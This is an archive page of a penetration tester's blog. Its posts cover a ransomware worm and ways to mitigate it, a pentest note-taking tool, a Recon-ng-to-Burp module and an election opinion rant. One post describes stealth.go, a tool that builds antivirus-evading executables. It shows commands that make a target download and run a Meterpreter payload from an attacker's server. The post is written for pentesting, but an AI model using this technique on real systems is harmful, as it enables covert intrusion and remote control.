13 May 2017
So apparently there was a ransomware worm this the weekend. If it hadn’t been for my entire Twitter feed blowing up about it, I probably wouldn’t have known. :) The more I read my feed though the more frustrated I get so I decided to write down my thoughts.
First, mad respect to all the folks who worked tirelessly to analyze and reverse engineer this worm. I have to say, there was nothing accidental about @MalwareTechBlog saving the day. Even if they didn’t know the exact purpose of the domain, the fact that they found it in the code and registered it shows they were busting their butt to understand the worm and that’s not accidental.
Second, there appears to be a lot of controversy concerning who’s to blame. One group says the orgs who didn’t patch are to blame, another group says the NSA is to blame, and still another group says the malware author is to blame. The funny thing is they are all right. The NSA could have disclosed the vulnerability sooner but it doesn’t matter because the vuln was disclosed and patched months ago. The malware authors didn’t have to write the code and release it but again it doesn’t matter. This is not the first time a large scale worm has disrupted the world. Anyone remember I Love You, Sasser, Conficker? Finally, orgs didn’t have to leave their unpatched/unpatchable machines on the network but guess what, they do and they will.
Third, based on my Twitter feed there is only one solution to the problem, patching, and there are many orgs that just can’t do that for whatever reason. For a bunch of hackers, we sure are bad at thinking outside the box. First, you can turn off SMBv1, second you can enable the Windows firewall. If for some reason you can’t do either of those things because you are afraid to touch the software, you can segment the device using a hardware firewall or with a layer 3 switch, both of which are readily available. Finally, you can push the vendor for updates.
I was a sysadmin once, I know it’s tough to get everything patched and I know vendors can be painful to deal with but I also know we can all do more to protect our networks and our customers/clients/users.
15 Feb 2017
During penetration tests I often find myself making notes about hosts or about the engagement itself in a single text file called notes. Throughout the engagement, I refer to this file to see where I stand on the engagement. Some notes are about a compromised host such as how it was compromised and what data was gathered from it. Some notes are about general attacks such as SSH bruteforcing or directory busting and the successes and failures associated with those attacks.
In the past, I wrote a tool called Low Hanging Fruit, which parsed a Nessus file and pulled out the most obvious attack routes. I decided to take this idea and merge it with my note taking process into a simple tool that allows me to see both potential attack routes and take notes about the attacks and hosts. There are other tools that provide similar functionality but I’ve always found them to be too complicated.
To use PTNotes, start by creating a new project and importing Nmap or Nessus data. Each time you import data, the data is analyzed for additional attack vectors.
Once you have imported data, you can view the project to see potential attack vectors and a summary of hosts and open ports. From the summary page you can view click on a host and see all of the imported Nessus and Nmap data for that host.
You can view an attack and see a list of hosts that may be vulnerable to that attack. You can also add any notes to the attack to document the hosts you have tested and what successes or failures you had.
From the attack page, if you click on a host you can see the Nessus or Nmap output that caused the host to be flagged for the attack. If the host does not have a link then the attack was flagged because of its port and protocol.
If you are searching for an easy way to take notes during your next Pentest engagement please give PTnotes a try. Also, if you have particular suggestions for improvements, please open an issue on Github.
06 Jan 2017
Metasploit has two excellent modules designed to upgrade a simple shell to Meterpreter using a call to a Web server or SMB server. The first module is exploit/multi/script/web_delivery and the other is exploit/windows/smb/smb_delivery. Using these modules you can execute a simple Powershell, PHP, Python or Rundll command to upgrade your existing shell to meterpereter.
What happens if you don’t have a shell though and all you can do is run an executable. You could create a meterpreter or shell payload and attempt to upload and run those executables but it is very likely that AV will catch them once they are written to disk. Instead, what if we could create a very simple executable that only makes the necessary call to web_delivery or smb_delivery and then loads meterpreter in memory? This executable will likely not be caught by AV.
The stealth.go script does exactly this. It takes a few parameters, the type of payload you want, the Metasploit server and port, and a folder name and creates a small Golang executable that makes the appropriate call to Metasploit.
To use the script you will need a recent version of Golang installed on each OS for which you plan to build an executable. After installing Golang do the following:
Configure the Metasploit web_delivery or smb_delivery module as needed. Note that for the web_delivery module you need to set the URIPATH parameter and on the smb_delivery module you need to set the SHARE parameter and leave the FOLDER_NAME parameter unset.
Run the stealth.go module to build a binary called shell (*nix) or shell.exe (Windows).
go run stealth.go ps 10.10.10.1 8080 test
This will build an executable that will make a Powershell call to download and execute code from http://10.10.10.1:8080/test.
go run stealth.go smb 10.10.10.1 445 test
This will build an executable that will make a rundll32 call to \10.10.10.1\test and execute the delivered payload.
- Run shell or shell.exe and check your Metasploit server for a new Meterpreter session.
The stealth.go code can be found in my scripts repository on (Github)[https://github.com/averagesecurityguy/scripts].
09 Dec 2016
I can’t take it anymore. I am so tired of hearing all this crap about Russia hacking the elections. It’s complete bullshit. We hacked our own elections long before Russia tried to get involved.
- We gerrymander districts every election cycle to get the votes we want.
- The mainstream media is more concerned about the candidates hair and hands than their ability to hold office.
- Our politicians are constantly cutting backroom deals and holding secret meetings. Whatever happens in secret will eventually come out. If journalists did their jobs then we would have all the facts about both candidates not just the facts about one candidate. Think long and hard about the fact that it took another nation-state to bring to light what our politicians are doing in the dark. Just because they only shed light on one candidate doesn’t mean they hacked the election. Now that Donald Trump has won the election, the journalists are finally starting to dig into his backroom deals, shady business practices, and legal issues.
- We willfully choose to vote for the lesser of two evils without considering the potential ramifications and we purposely ignore third party candidates because they are not “viable.” How many times did we hear a vote for a third-party is a vote for “the other evil?”
- We have purposely installed electronic voting machines (with well-documented security issues) that do not leave an auditable paper trail. By the way these voting machines are created by companies with heavy lobbying arms and are installed by the current two-party system that has a vested interest in staying in power.
- As a nation we have become apathetic about voting. I know I have. Half the voting population didn’t even bother to vote in the Presidential race. If all of those voters had turned out for a third-party candidate instead of sitting on their butts we might actually see some real change.
- We have lost our ability to think critically. We listen to charismatic sound bites and rally behind our candidate without ever thinking about the implications of those sound bites. Then when a politician is elected and back peddles on their sound bite promises, we let them get away with it. I want to see Trump build a wall on the Mexican border so I can see the collosal failure it will be. If Hillary had won, I would want her to fully implement socialized medicine so that we could see the collosal failure it would be.
All of this to say, if our elections were hacked, it’s our own damn fault.
21 Oct 2016
The other day I asked on Twitter, what tools Blue Teams or Red Teams wished they had. I’ll admit, it was selfish on my part because I really want to be able to build and sell a usable product. Anyway, @ethicalhack3r said he wanted a way to search for Google Dorks and get them into Burp to find interesting content. So I decided I’d take up the challenge.
Sometimes, I like to reinvent the wheel because I feel like I can make a better wheel but I knew Recon-ng already had Google Dork searches built in and had a method for dealing with Google’s CAPTCHAs. And, as much as I’d like to think I could make a better wheel than Recon-ng, I know I can’t. So I figured the next best thing would be to build a report module that could take the URLs found using Google Dorks and send them to Burp, so that’s exactly what I did.
When the recon/domains-vulnerabilities/ghdb module is run it uses a large number of Google Dorks from the Google Hacking Database to search a site for interesting content. When it finds matching URLs they are placed in the vulnerbilities database with the category ‘Google Dorks’. Recon-ng can run direct queries on the database so I was able to search for all of the URLs where the category matched ‘Google Dorks’. Once that was done, I used the request method to get each URL. The trick to getting these URLs into Burp is to set the global PROXY value before running the report and then unset it after running the report.
To use the new reporting module:
- Run the recon/domains-vulnerabilities/ghdb module and gather the dorks you want.
Set the global proxy:
- Use the
back command to leave the module context and enter the global context.
- Use the
set PROXY http://<your_proxy_here> command to set the global proxy
- Enter the proxifier reporting module using the command
- By default the module will find the vulnerability URLs with a category of ‘Google Dorks’ but any query that yields a list of URLs can be used. If you would like to use a different query that yields URLs then you can use the
set SOURCE query command.
- Run the module with the
Unset the global proxy:
- Use the
back command to leave the reporting module.
- Use the
unset PROXY command to unset the global proxy.
Thanks to @ethicalhack3r for the idea and to @LaNMast3r for recon-ng and help writing the module.